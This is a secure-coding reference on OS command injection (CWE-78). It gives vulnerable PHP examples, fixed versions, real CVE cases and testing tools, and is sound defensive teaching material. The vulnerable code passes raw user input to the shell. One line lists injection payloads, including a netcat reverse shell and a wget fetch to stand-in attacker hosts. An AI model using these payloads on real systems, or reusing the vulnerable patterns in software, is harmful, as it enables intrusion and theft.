Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Description
OS Command Injection is a vulnerability that occurs when software constructs all or part of an operating system command using externally-influenced input from an upstream component, but does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command. Unlike general command injection (CWE-77), OS command injection specifically targets system shells like bash, cmd.exe, or PowerShell. Attackers exploit this by injecting shell metacharacters such as semicolons (;), pipes (|), ampersands (&), backticks (`), or command substitution ($()) to append or modify commands. The injected commands execute with the same privileges as the vulnerable application, often leading to complete system compromise.
Risk
OS command injection consistently ranks among the most dangerous software vulnerabilities, appearing in both OWASP Top 10 and CWE Top 25. Successful exploitation enables attackers to execute arbitrary operating system commands, effectively giving them the same access as the application itself. This typically leads to complete system compromise including data theft, malware installation, ransomware deployment, and lateral movement within networks. Network devices, IoT systems, and web applications that interface with operating system commands are particularly susceptible. The critical Shellshock vulnerability (CVE-2014-6271) demonstrated how OS command injection can affect millions of systems simultaneously, with exploitation attempts beginning within hours of disclosure.
Solution
The primary defense is to avoid calling OS commands from application code entirely. Use language-specific APIs and libraries that provide the needed functionality without shell invocation, such as built-in file manipulation functions instead of shell commands. When OS commands are unavoidable, use parameterized execution interfaces that separate the command from its arguments (e.g., subprocess with argument arrays instead of shell strings). Never construct command strings by concatenating user input. If user input must be included, implement strict allowlist validation limiting input to known-safe patterns. As a last resort, escape all shell metacharacters using platform-appropriate functions, but recognize this approach is error-prone and can be bypassed. Run applications with minimal necessary privileges to limit impact.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Confidentiality Attackers can execute commands to read any file accessible to the application, exfiltrate sensitive data, dump credentials, or access database contents. |
| Integrity | Scope: Integrity Injected OS commands can modify system configurations, alter files, create backdoor accounts, install malware, or plant persistent access mechanisms. |
| Availability | Scope: Availability Attackers can execute commands to terminate processes, delete critical files, consume resources, encrypt data with ransomware, or render systems inoperable. |
| Access Control | Scope: Access Control, Complete System Compromise OS command injection typically results in complete system compromise with ability to perform any action the application's user account can perform. |
Example Code + Solution Code
The following example demonstrates a vulnerable PHP application that executes OS commands with user input:
Vulnerable Code
<?php
// VULNERABLE: User input directly in shell command
// Example 1: Direct concatenation
$domain = $_GET['domain'];
$output = shell_exec("nslookup " . $domain);
echo "<pre>$output</pre>";
// Example 2: Using backticks (shell execution)
$ip = $_POST['ip'];
$result = `ping -c 4 $ip`;
echo "<pre>$result</pre>";
// Example 3: system() function
$filename = $_GET['file'];
system("cat /var/log/" . $filename);
// Example 4: Insufficient sanitization
$host = $_GET['host'];
// This escaping is INSUFFICIENT - can be bypassed
$host = str_replace([';', '|', '&'], '', $host);
exec("traceroute " . $host, $output);
print_r($output);
?>
All examples are vulnerable. Attackers can inject: ; cat /etc/passwd, | nc attacker.com 4444 -e /bin/bash, && wget http://evil.com/shell.sh, or use encoding to bypass simple filters.
Fixed Code
<?php
// SAFE: Proper OS command injection prevention
// Option 1: Use built-in PHP functions instead of shell commands
// For DNS lookup, use gethostbyname() or dns_get_record()
function safe_dns_lookup($domain) {
// Validate domain format first
if (!filter_var($domain, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
return ['error' => 'Invalid domain format'];
}
// Use PHP's built-in DNS functions instead of shell
$records = dns_get_record($domain, DNS_A + DNS_AAAA + DNS_MX);
return $records ?: ['error' => 'No DNS records found'];
}
// Option 2: Strict allowlist validation + escapeshellarg()
function safe_ping($ip) {
// Validate IP address format strictly
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
// Use escapeshellarg() for additional safety
// Note: This should be defense-in-depth, not primary defense
$safe_ip = escapeshellarg($ip);
// Use proc_open for better control
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open(
"ping -c 4 $safe_ip",
$descriptors,
$pipes
);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_code = proc_close($process);
return $exit_code === 0 ? $output : "Error: $errors";
}
return 'Failed to execute command';
}
// Option 3: Allowlist of permitted values
function safe_view_log($logname) {
// Define allowed log files
$allowed_logs = [
'access' => '/var/log/apache2/access.log',
'error' => '/var/log/apache2/error.log',
'auth' => '/var/log/auth.log'
];
// Only allow predefined log names
if (!array_key_exists($logname, $allowed_logs)) {
throw new InvalidArgumentException('Invalid log file');
}
// Read file directly using PHP - no shell command needed
$filepath = $allowed_logs[$logname];
if (file_exists($filepath) && is_readable($filepath)) {
return file_get_contents($filepath);
}
return 'Log file not found or not readable';
}
// Option 4: If shell must be used, proper argument separation (Python example shown)
// In PHP, this is harder - prefer other languages' subprocess modules
function safe_traceroute($host) {
// Strict IP validation
if (!filter_var($host, FILTER_VALIDATE_IP)) {
// If hostname, validate strictly
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/', $host)) {
throw new InvalidArgumentException('Invalid host');
}
if (strlen($host) > 253) {
throw new InvalidArgumentException('Host too long');
}
}
// Log the action for audit
error_log("Traceroute requested for: $host by " . $_SERVER['REMOTE_ADDR']);
// Use escapeshellarg and limit execution time
$safe_host = escapeshellarg($host);
$output = [];
$return_var = 0;
// Set timeout to prevent long-running commands
$command = "timeout 30 traceroute -m 15 $safe_host 2>&1";
exec($command, $output, $return_var);
if ($return_var === 124) {
return 'Traceroute timed out';
}
return implode("\n", $output);
}
// Usage
try {
echo "<pre>" . htmlspecialchars(safe_ping($_GET['ip'] ?? '')) . "</pre>";
} catch (Exception $e) {
echo "Error: " . htmlspecialchars($e->getMessage());
}
?>
The fixed code implements multiple defense layers: using built-in language functions instead of shell commands where possible, strict input validation using allowlists and type validation, proper escaping as defense-in-depth, and limiting command execution scope and time.
Exploited in the Wild
Shellshock (Global Infrastructure, 2014)
CVE-2014-6271, known as Shellshock, was a critical OS command injection vulnerability in GNU Bash affecting versions 4.3 and earlier. The vulnerability allowed attackers to inject commands through environment variables, affecting millions of Linux and Unix systems worldwide. Web servers running CGI scripts were particularly vulnerable, with exploitation beginning within hours of disclosure. Attackers deployed botnets, cryptocurrency miners, and ransomware through this vulnerability, which remains one of the most significant OS command injection incidents in history.
Fortinet FortiNAC Remote Code Execution (Enterprise Networks, 2023)
CVE-2022-39952 in Fortinet FortiNAC allowed unauthenticated remote code execution through OS command injection in the key upload functionality. Attackers exploited this vulnerability to compromise network access control systems protecting enterprise environments. The vulnerability was added to CISA's Known Exploited Vulnerabilities catalog as active exploitation was detected targeting organizations using FortiNAC for network security enforcement.
VMware Workspace ONE Access Command Injection (Cloud Infrastructure, 2022)
CVE-2022-22954 was a critical OS command injection vulnerability in VMware Workspace ONE Access and Identity Manager. The vulnerability in server-side template injection allowed remote attackers to execute arbitrary commands. Threat actors, including the APT29 (Cozy Bear) group, exploited this vulnerability to compromise identity management infrastructure, gaining access to enterprise authentication systems and enabling lateral movement across victim networks.
Tools to test/exploit
-
Commix — automated OS command injection detection and exploitation tool supporting multiple injection techniques including time-based blind, file-based, and results-based methods.
-
Burp Suite — web application security testing platform with active scanning for OS command injection and manual testing capabilities for payload crafting and response analysis.
-
OS Command Injection Payloads — comprehensive collection of OS command injection payloads for various shells, operating systems, and bypass techniques from PayloadsAllTheThings repository.
CVE Examples
-
CVE-2014-6271 — Shellshock vulnerability in GNU Bash allowing command injection through environment variables.
-
CVE-2022-39952 — Fortinet FortiNAC OS command injection via key file upload enabling unauthenticated RCE.
-
CVE-2022-22954 — VMware Workspace ONE Access server-side template injection leading to OS command execution.
-
CVE-2023-29084 — ManageEngine ADManagerPlus OS command injection through improper CRLF character handling.
References
-
MITRE. "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/78.html
-
OWASP. "OS Command Injection Defense Cheat Sheet." OWASP Cheat Sheet Series. https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
-
PortSwigger. "What is OS command injection, and how to prevent it?" Web Security Academy. https://portswigger.net/web-security/os-command-injection
-
Fastly. "Back to Basics: OS Command Injection." https://www.fastly.com/blog/back-to-basics-os-command-injection